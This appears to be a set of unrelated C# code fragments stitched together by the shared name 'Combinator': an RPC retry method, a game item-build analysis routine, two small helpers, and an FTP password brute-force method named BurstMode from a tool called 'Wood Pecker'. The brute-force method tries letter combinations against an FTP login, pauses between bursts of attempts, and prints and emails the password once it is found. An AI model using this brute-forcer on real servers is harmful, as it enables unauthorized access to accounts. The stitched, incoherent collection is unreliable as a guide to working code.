private RpcAnswer RpcCall(Combinator request) { List<RpcAnswer> answers = null; Exception innerException = null; for (int i = 0; i < 3; i++) { innerException = null; try { IEnumerable<Combinator> response = Exchange(request); answers = ProcessAnswers(request, response); if (answers.Count > 0) break; } catch (DecodeException e) { innerException = e; Trace.TraceError(e.Message); } } if (innerException != null) throw new AggregateException("Exception during rpc call", innerException); if (answers == null) throw new Exception("Empty answers"); if (answers.Count > 1 && answers.Any(val => val.Combinator != null && val.Combinator.Descriptor.type != "Pong")) throw new Exception(string.Format("Multiple answers: {0}" , answers.Aggregate("", (cur, val) => cur + "\r" + val.ToString()))); return answers.Last(); }
//Burstmode attack metoden. Är som en brute force men med möjlighet att lägga //in tidsintervaller där Wood Pecker ska vänta innan nästa attack utförst. static void BurstMode() { var Pattern = new List<string>() { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" }; int secondsToWait = 0; int amountOfAttacksBeforePause = 0; bool endOfTHeJourney = true; bool endofJourney = true; bool exit = true; Console.Write("How many secounds would you like to wait between attacks: "); while (endofJourney) { try { secondsToWait = int.Parse(Console.ReadLine()); endofJourney = false; } catch (Exception) { Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("=============================================="); Console.ResetColor(); Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("Only numbers! Try again!"); Console.ResetColor(); Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("=============================================="); Console.ResetColor(); Console.Write("How many secound would you like to wait between attacks: "); endofJourney = true; } } Console.Write("How many tries would you like to do before the pause..?"); while (endOfTHeJourney) { try { amountOfAttacksBeforePause = int.Parse(Console.ReadLine()); endOfTHeJourney = false; } catch (Exception) { Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("=============================================="); Console.ResetColor(); Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("Only numbers! Try again!"); Console.ResetColor(); Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("=============================================="); Console.ResetColor(); Console.Write("How many secound would you like to wait between attacks: "); endOfTHeJourney = true; } } Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("====================================================="); Console.ResetColor(); Combinator<string> Combinator = new Combinator<string>(Pattern); while (exit) { if (Console.KeyAvailable && Console.ReadKey(true).Key == ConsoleKey.Escape) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("==========================="); Console.WriteLine("Exiting"); Console.WriteLine("==========================="); Console.ResetColor(); Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("Brute Force ended.."); Console.ResetColor(); Console.WriteLine("Press any key to go back to the menu"); Console.ReadLine(); break; } for (int i = 0; i < amountOfAttacksBeforePause; i++) { var Combined = Combinator.Next(); var pass = string.Join("", Combined); Console.WriteLine(pass); ftp Ftp = new ftp("ftp://" + IP, port, username, pass); correctPassword = pass; bFcount++; if (Ftp.LoginCheck()) { if (SendEmail) { SendingEmail(); Console.WriteLine("Email sent.."); } if (loggingEnable) { WriteStatistics(); } Console.WriteLine("Congratulations, you are connected to the server"); Console.ForegroundColor = ConsoleColor.DarkYellow; Console.WriteLine("================================"); Console.WriteLine("=============STATISTIK=========="); Console.WriteLine("================================"); Console.ResetColor(); Console.WriteLine("Attack finished at: {0}", timeAttackFinished); Console.WriteLine("Amount of tries before correct password: {0}", bFcount); Console.WriteLine("Password is: {0}", correctPassword); exit = false; ContinueOnKeyPressed(); Console.Clear(); break; } } Thread.Sleep(secondsToWait * 1000); Console.WriteLine(""); } //Kontroll för om E-post ska skickas eller ej. if (SendEmail) { SendingEmail(); Console.WriteLine("Email sent.."); } //Kontroll för om statistik ska skrivas eller ej. if (loggingEnable) { Console.WriteLine("Loggs where written"); Console.ReadLine(); Main(); } else { Main(); } }
static void FullAnalysis() { Tuple<string, int, int>[] scenarios = { new Tuple<string, int, int>("Lich King", 40, 39), new Tuple<string, int, int>("Lich King", 40, 38), new Tuple<string, int, int>("Antares", 40, 39), new Tuple<string, int, int>("Antares", 40, 38), new Tuple<string, int, int>("Undead Mage", 40, 39), new Tuple<string, int, int>("Undead Mage", 40, 37), new Tuple<string, int, int>("Undead Warrior", 40, 39), new Tuple<string, int, int>("Undead Warrior", 40, 37), new Tuple<string, int, int>("Night Stalker", 40, 39), new Tuple<string, int, int>("Night Stalker", 40, 37), new Tuple<string, int, int>("Night Beast", 40, 39), new Tuple<string, int, int>("Night Beast", 40, 37), new Tuple<string, int, int>("Scorpinox", 40, 39), new Tuple<string, int, int>("Scorpinox", 40, 37), new Tuple<string, int, int>("Nightmare Scorpion", 40, 39), new Tuple<string, int, int>("Nightmare Scorpion", 40, 37), new Tuple<string, int, int>("Ares Prime", 30, 29), new Tuple<string, int, int>("Basamus Prime", 20, 19), new Tuple<string, int, int>("Queen Maexna", 10, 9), }; using(var writer = new StreamWriter("output.txt")) { var combinator = new Combinator(); foreach(var scenario in scenarios) { Console.WriteLine(scenario.Item1 + " with hero level " + scenario.Item2 + " and item level " + scenario.Item3); writer.WriteLine(scenario.Item1 + " with hero level " + scenario.Item2 + " and item level " + scenario.Item3); writer.WriteLine(); var monster = Library.Monsters.First(x => x.Name == scenario.Item1); for (int i = 0; i < 4; i++) { var lines = new List<string>(); int column = 0; var buildStyle = (BuildPurpose)i; pushLine(lines, ref column, BuildNames[i] + ":\tWeapon\tHead\tChest\tGloves\tBoots\tTrinket\t" + BuildScoring[i]); foreach (var hero in Library.Heroes) { pushLine(lines, ref column, hero.Name + "\t"); foreach (var build in combinator.AnalyzeHero(hero, scenario.Item2, monster, buildStyle, scenario.Item3)) { for (int slot = 0; slot < build.Items.Length; slot++) { lines[column -1] += build.Items[slot].Name + "\t"; } lines[column -1] += build.Score.ToString(build.Score < 100 ? "0.##" : "0"); } } pushLine(lines, ref column, ""); foreach(var line in lines) writer.WriteLine(line); } } } Console.WriteLine("Done. "); }
private void OnDifference(Combinator obj) { _differences.Add(obj); }
public Element Element(Combinator combinator, Node value, int index) { return new Element(combinator, value) { Index = index }; }